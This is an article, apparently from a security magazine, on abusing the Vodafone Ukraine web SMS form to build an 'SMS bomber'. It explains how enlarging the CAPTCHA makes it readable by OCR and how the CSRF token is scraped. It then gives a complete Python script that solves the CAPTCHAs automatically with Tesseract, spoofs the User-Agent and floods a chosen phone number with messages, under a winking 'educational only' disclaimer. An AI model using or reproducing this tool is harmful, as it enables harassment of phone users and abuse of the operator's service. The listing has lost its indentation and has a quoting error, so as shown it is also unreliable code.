Security

SMS Bomber in Python: A Reader’s Trick Shows Mobile Operator’s Weaknesses

In this article, we examine flaws in the implementation of CAPTCHAs and CSRF tokens, and show how they can be abused to send unlimited SMS via the Vodafone gateway.

warning

All information is provided for informational purposes only. Neither the editorial team nor the author is responsible for any harm that may result from the materials in this article.

Overview of Vodafone’s Online SMS Service

Our subject today, the http://mts.ua portal, used to belong to MTS Ukraine. The company was later acquired by Vodafone. The site also offers an SMS sending form.

It’s protected by a four-digit CAPTCHA. Note that the form only allows sending SMS to Vodafone customers with the following number prefixes:

+38050
+38066
+38095
+38099

Now let’s look at the CAPTCHA itself. As you can see, the digits are quite distinguishable. They’re red, but the tops are cropped, and they’re positioned very close to each other.

Now let’s take a closer look at the part of the script that displays the CAPTCHA. If we construct a URL

http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&width=115&height=42&backColor=0xffffff&foreColor=0xff0000

you’ll see a CAPTCHA 42 pixels tall and 115 pixels wide. Change those values to 242 and 315, and you get a surprising result: the cropped tops of the digits disappear and the spacing between characters increases.

When sending an SMS to the script http://www.mts.ua/ru/online-services/send-sms/ using the POST method, the following parameters are passed:

  • YII_CSRF_TOKEN — the CSRF token; read it from the HTML once when preparing the SMS campaign;
  • widgetId:'messager' — the default value; it doesn’t change;
  • MessageForm[network]:'38050' — the value indicates the mobile network;
  • MessageForm[phone]:'123-45-67' — the phone number to send the SMS to;
  • MessageForm[encoding]:'cyrillic' — message encoding; can be changed;
  • MessageForm[is_translit]:'0' — transliteration (0 = off, 1 = on);
  • MessageForm[message]:'Привет 123' — the message text;
  • MessageForm[verifyCode]:'4444' — the CAPTCHA solution.

Also, remember to persist cookies—we’ll come back to this later.

Building an SMS Bomber

Let’s try to build an SMS bomber—a script that will send a large number of similar SMS messages through a gateway. We’ll develop it in Python 2.x, and we’ll need the modules requests, pytesseract, Image.

We’ll be developing the script for Windows, which comes with some specifics for installing Tesseract and configuring paths.

First, we obtain the CSRF token:

def get_csrf():
xhtml=get_url("http://www.mts.ua/ru/online-services/send-sms/",1)
xs=xhtml.find("var csrfToken = '")
xl=len("var csrfToken = '")
csrf_=xhtml[xs+xl:xs+xl+40]
return csrf_

The functionality is straightforward—a simple text search. We obtain the CSRF token just once for the entire mailing campaign.

Next, we need to fetch the CAPTCHA and recognize it. We’ll use Tesseract for this. First, install the engine itself and the Python bindings for it. You can find the full function implementation in the script I’ll include at the end of the article.

In this function, we download the CAPTCHA and save it to disk as xcaptcha.png. Then we recognize it using pytesseract and check the length of the recognized string. If the result has four characters, we’re good; if not, we try again until we get the four digits we need.

info

The CAPTCHA solve rate is about 40–60%. Not 100%, of course, but still quite solid.

The helper function get_url is used to fetch data by URL and manage cookie persistence: whether cookies are saved depends on the value of xparam.

All that’s left is to send the message. The send_sms function does this: it fills in all the parameters described above for the http://www.mts.ua/ru/online-services/send-sms/ endpoint and sends a POST request.

Depending on whether the response contains the string

<div class="response-message">

We determine whether the message was sent successfully or not. Note that we supply a fake User-Agent:

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
Using an SMS bomber
Using an SMS bomber

Conclusion

That’s all from me. The full script is in the code block below, and as a final reminder: everything you’ve read today is published for educational purposes only. 😉

[ Full Script Listing

 

import sys,os,requests,time,subprocess,string
try:
import Image
except ImportError:
from PIL import Image
import pytesseract
pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe'
tessdata_dir_config = '--tessdata-dir "C:\\Program Files (x86)\\Tesseract-OCR\\tessdata"'
# ----------------------------------------------------------------
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
SESSION=""
COOKIES=""
# ----------------------------------------------------------------
def write_to_file(fname,xdata):
f=open(fname,"w")
f.close
f=open(fname,"wb")
f.write(xdata)
f.close
# ----------------------------------------------------------------
def get_url(xURL,xparam):
global headers
global SESSION
global COOKIES
try:
r = SESSION.get(xURL, headers=headers,allow_redirects=True)
if xparam==1:
COOKIES=r.cookies
except:
print "[-] Network errror !"
sys.exit(0)
if r.status_code != 200:
print "[-] Server errror",r.status_code
sys.exit(0)
return r.content
# ----------------------------------------------------------------
def get_captcha():
n_try=1
xlen_=5
while xlen_!=4:
print "[*] Getting CAPTCHA from mts.ua, attempt number",n_try
captcha_=get_url("http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&width=315&height=242&backColor=0xffffff&foreColor=0xff0000",0)
print "[+] Captcha downloaded"
write_to_file("xcaptcha.png",captcha_)
print "[+] Captcha saved to xcaptcha.png"
d_captcha=pytesseract.image_to_string(Image.open('xcaptcha.png'), lang='eng', config = tessdata_dir_config)
xlen_=len(d_captcha)
try:
z=int(d_captcha)
except Exception as e:
xlen_=5
if xlen_!=4:
print "[-] OCR is no good:",d_captcha
n_try=n_try+1
print "[!] Well done OCR is good:",d_captcha
return d_captcha
# ----------------------------------------------------------------
def get_csrf():
xhtml=get_url("http://www.mts.ua/ru/online-services/send-sms/",1)
xs=xhtml.find("var csrfToken = '")
xl=len("var csrfToken = '")
csrf_=xhtml[xs+xl:xs+xl+40]
return csrf_
# ----------------------------------------------------------------
def send_sms(csrf,captcha,xnet,xnumber,xsms):
global SESSION
global COOKIES
xcaptcha=str(captcha)
xdata={'YII_CSRF_TOKEN':csrf,'widgetId':'messager','MessageForm[network]':xnet,'MessageForm[phone]':xnumber,'MessageForm[encoding]':'cyrilic','MessageForm[is_translit]':'0','MessageForm[message]':xsms,'MessageForm[verifyCode]':xcaptcha}
r = SESSION.post(url="http://www.mts.ua/ru/online-services/send-sms/", headers=headers, data=xdata, cookies=COOKIES)
zhtml=r.content
sms_status=zhtml.find("<div class="response-message">")
if sms_status!=-1:
print "[+] SMS Status: Sent OK"
return 1
else:
print "[-] SMS Status: Sent BAD"
return 0
# ----------------------------------------------------------------
os.system("cls")
print "-=[Vodafone SMS Unobomber v 0.1]=-"
SESSION=requests.Session()
sms_text=raw_input("Enter SMS message: ").decode(sys.stdin.encoding or 'utf-8')
xnetwork=raw_input("Enter mobile network(38050;38066;38095;38099): ")
xnumber=raw_input("Enter mobile number(in format XXX-XX-XX): ")
number_of_sms=int(raw_input("Enter number of SMS's(1..XXX): "))
goods_=0
bads_=0
totals_=number_of_sms
XCSRF=get_csrf()
print "[+] YII_CSRF_TOKEN =",XCSRF
while number_of_sms>0:
CAPTCHA=get_captcha()
print "[*] Sending SMS ..."
xresult=send_sms(XCSRF,CAPTCHA,xnetwork,xnumber,sms_text)
if xresult==1:goods_=goods_+1
if xresult==0:bads_=bads_+1
number_of_sms=number_of_sms-1
time.sleep(2)
print "----------------------------------------------------------"
print "[!] Total:",totals_,"; Goods:",goods_,"; Bads:",bads_
# ----------------------------------------------------------------
it? Share: